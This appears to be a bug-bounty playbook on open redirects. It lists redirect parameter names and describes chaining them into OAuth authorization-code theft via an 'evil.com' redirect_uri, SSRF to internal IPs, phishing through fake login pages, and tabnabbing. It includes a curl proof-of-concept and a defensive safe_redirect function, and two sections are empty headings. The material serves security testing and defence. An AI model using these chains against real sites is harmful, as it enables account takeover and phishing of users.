Open Redirect Playbook

Standalone open redirect = Low/Informational by itself. Chained: critical (OAuth ATO, SSRF, phishing trust transfer).

1. Common parameters

?next=...  ?return=...  ?continue=...  ?redirect=...  ?url=...  ?to=...
?goto=...  ?destination=...  ?back=...  ?returnTo=...  ?callbackUrl=...
?image_url=...  ?file=...  ?logout_redirect=...  ?success=...

Grep recon URLs / JS for these params.

2. Bypass table

3. Chain patterns

3.1 OAuth redirect_uri extension

Target's OAuth flow validates redirect_uri must be on *.target.com. You have open-redirect at target.com/redir?to=.... Attacker:

redirect_uri=https://target.com/redir?to=https://evil.com/cb

OAuth server allows the literal target.com host; victim browser follows the 302 → evil.com → code in URL.

3.2 SSRF extension

Target's SSRF protection denies external hosts via DNS pinning. But fetches the URL via redirect. Server-side fetcher visits target.com (allowed), follows 302 to internal IP (no DNS re-resolution).

3.3 Phishing

Send phishing email from attacker domain → click → lands on target.com/login?next=https://evil-attacker.com/fake-login. After "login" page redirects to attacker — but URL bar shows target.com for the first second, building trust.

3.4 Tabnabbing

window.open(URL) w/o noopener,noreferrer → opened tab can navigate the OPENER (original target tab) to phishing page. Combined w/ open redirect = full visual takeover of the original target.

4. Tools

• OpenRedireX — fuzz w/ massive payload list
• Burp Intruder w/ payloads from _corpus/payloads/Open Redirect/
• gf (Tomnomnom) patterns to extract redirect params from URLs

5. PoC

curl -s -I "$TARGET/redir?next=https://evil.com" | grep -i Location
# Look for: Location: https://evil.com  → confirmed open redirect

6. Severity

7. Defender

from urllib.parse import urlparse

def safe_redirect(url, allowed_hosts={'target.com'}):
    p = urlparse(url)
    if not p.netloc:        # relative path only
        return url if url.startswith('/') and not url.startswith('//') else '/'
    if p.netloc in allowed_hosts:
        return url
    return '/'

# At redirect site:
response.headers['Referrer-Policy'] = 'strict-origin'
target_link.rel = 'noopener noreferrer'   # in HTML <a>

Cross-references

• Upstream catalog: skills/_corpus/payloads/Open Redirect/
• OAuth chain extension: skills/exploit/web/oauth/SKILL.md
• SSRF chain extension: skills/exploit/web/ssrf.md